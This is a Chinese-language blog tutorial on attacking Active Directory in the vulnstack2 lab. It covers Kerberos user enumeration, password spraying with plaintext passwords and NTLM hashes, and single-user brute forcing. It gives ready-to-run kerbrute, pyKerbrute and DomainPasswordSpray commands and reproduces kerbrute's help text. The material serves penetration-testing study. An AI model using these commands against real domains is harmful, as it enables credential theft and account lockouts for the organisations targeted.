域渗透 | 用户枚举与密码喷洒

1,375 阅读1分钟

本文已参与「新人创作礼」活动,一起开启掘金创作之路

必看!工具缺陷

berbrute工具当使用密码喷洒功能的时候会导致一个问题,密码参数作为独立一个参数会被密码本身存在的特殊字符中断,比如#,$,@一类的东西。

解决方案是先用用户枚举看到用户都有什么之后,用密码爆破把想要喷洒的密码放在文本文件中,就可以实现

用户枚举(UserEnum)

原理

在AS_REQ过程中传递的用户信息在AD中存在与否,AS给返回的状态信息不一致,存在的用户还会额外返回e-data数据

  • 三种状态码

    • KRB5DC_ERR_PREAUTH_REQUIRED需要额外的预认证(用户存在)
    • KRB5DC_ERR_CLIENT_REVOKED客户端凭证已被吊销(禁用 )
    • KRB5DC_ERR_C_PRINCIPAL_UNKNOWN在Kerberos数据库中找不到客户端(不存在)

攻击原理

AS_REQ包配置中有两个和用户枚举相关的信息,一个是pre-authentication data 使用client hash加密时间戳,另一个client info包含用户信息。

而我们在进行用户枚举的时候只需要发送client info而不需要发送pre-authentication,因此返回包可以起到在不知道永辉是否存在和不知道密码的情况下,枚举用户的作用。

攻击手段

工具我会放在最后,有需要自取

1.直接使用kerbrute工具

那个指定dc建议加上,不加有概率会卡死

./kerbrute_windows_amd64.exe userenum --dc 10.10.10.10 -d de1ay.com usernames.txt

python2 EnumADUser.py 10.10.10.10 de1ay.com usernames.txt tcp

image-20220414112022618.png

密码喷洒(Password Spraying)

原理

写作密码喷洒其实就是密码复用,当获得了一个账号的明文密码之后,那这个密码去使全域里所有账号的密码,这个攻击方式甚至不需要利用协议的漏洞,就是单纯的心理学而已。

攻击手段

1.使用kerbrute

./kerbrute_windows_amd64 passwordspray -d de1ay.com domain_users.txt 1qaz@WSX

注意,我修改了靶机每个账号的密码

image-20220414115743823.png

2.相比于exe版本,py版本支持使用hash传递进行尝试

python2 ADPwdSpray.py 10.10.10.10 de1ay.com user.txt clearpassword 1qaz@WSX tcp

python2 ADPwdSpray.py 10.1.1.1 hack.com user.txt ntlmhash 161cff084477fe596a5db81874498a24 tcp

3.由于不是所有机器都有python的,这里有一个ps脚本也可以试试

Invoke-DomainPasswordSpray -Password Spring2017
# 调用内置用户字典

Invoke-DomainPasswordSpray -UserList users.txt -Domain domain-name -PasswordList passlist.txt -OutFile sprayed-creds.txt

image-20220414145916342.png

密码爆破

单用户密码爆破(跑密码本)

攻击手段

1.使用kerbrute

./kerbrute_windows_amd64 bruteuser -d de1ay.com passwords.lst de1ay

注意

image-20220414115849936.png

工具

python版本的kerbrute

3gstudent/pyKerbrute: Use python to perform Kerberos pre-auth bruteforcing (github.com)

exe版本的berbrute(用go写的,编译不成功用发行版)

ropnop/kerbrute: A tool to perform Kerberos pre-auth bruteforcing (github.com)

发行版Releases · ropnop/kerbrute (github.com)

powershell脚本dafthack/DomainPasswordSpray: DomainPasswordSpray is a tool written in PowerShell to perform a password spray attack against users of a domain. By default it will automatically generate the userlist from the domain. BE VERY CAREFUL NOT TO LOCKOUT ACCOUNTS! (github.com)

感谢

@ropnop 攻击手段直接看的工具手册,以及纠正了我一个单词的拼写,hhhhhh

依旧使用魔改之后的红日团队的靶机vulnstack2进行演示

@qin9-在她的博客中介绍了这个ps脚本

附edge机翻

必须指定域 () 或域控制器 ()。如果未提供域控制器,则将通过 DNS 查找 KDC。-d``--dc

默认情况下,Kerbrute 是多线程的,使用 10 个线程。这可以通过该选项进行更改。-t

输出记录到 stdout,但可以使用 指定日志文件。-o

默认情况下,不会记录失败,但可以使用 进行更改。-v

最后,Kerbrute有一个选择。启用此选项后,如果某个帐户恢复为锁定帐户,它将中止所有线程以停止锁定任何其他帐户。--safe

该命令可用于详细信息help
`

$ ./kerbrute -h

    __             __               __
   / /_____  _____/ /_  _______  __/ /____
  / //_/ _ / ___/ __ / ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|___/_/  /_.___/_/   __,_/__/___/

Version: dev (bc1d606) - 11/15/20 - Ronnie Flathers @ropnop

This tool is designed to assist in quickly bruteforcing valid Active Directory accounts through Kerberos Pre-Authentication.
It is designed to be used on an internal Windows domain with access to one of the Domain Controllers.
Warning: failed Kerberos Pre-Auth counts as a failed login and WILL lock out accounts

Usage:
  kerbrute [command]

Available Commands:
  bruteforce    Bruteforce username:password combos, from a file or stdin
  bruteuser     Bruteforce a single user's password from a wordlist
  help          Help about any command
  passwordspray Test a single password against a list of users
  userenum      Enumerate valid domain usernames via Kerberos
  version       Display version info and quit

Flags:
      --dc string          The location of the Domain Controller (KDC) to target. If blank, will lookup via DNS
      --delay int          Delay in millisecond between each attempt. Will always use single thread if set
  -d, --domain string      The full domain to use (e.g. contoso.com)
      --downgrade          Force downgraded encryption type (arcfour-hmac-md5)
      --hash-file string   File to save AS-REP hashes to (if any captured), otherwise just logged
  -h, --help               help for kerbrute
  -o, --output string      File to write logs to. Optional.
      --safe               Safe mode. Will abort if any user comes back as locked out. Default: FALSE
  -t, --threads int        Threads to use (default 10)
  -v, --verbose            Log failures and errors

Use "kerbrute [command] --help" for more information about a command.

\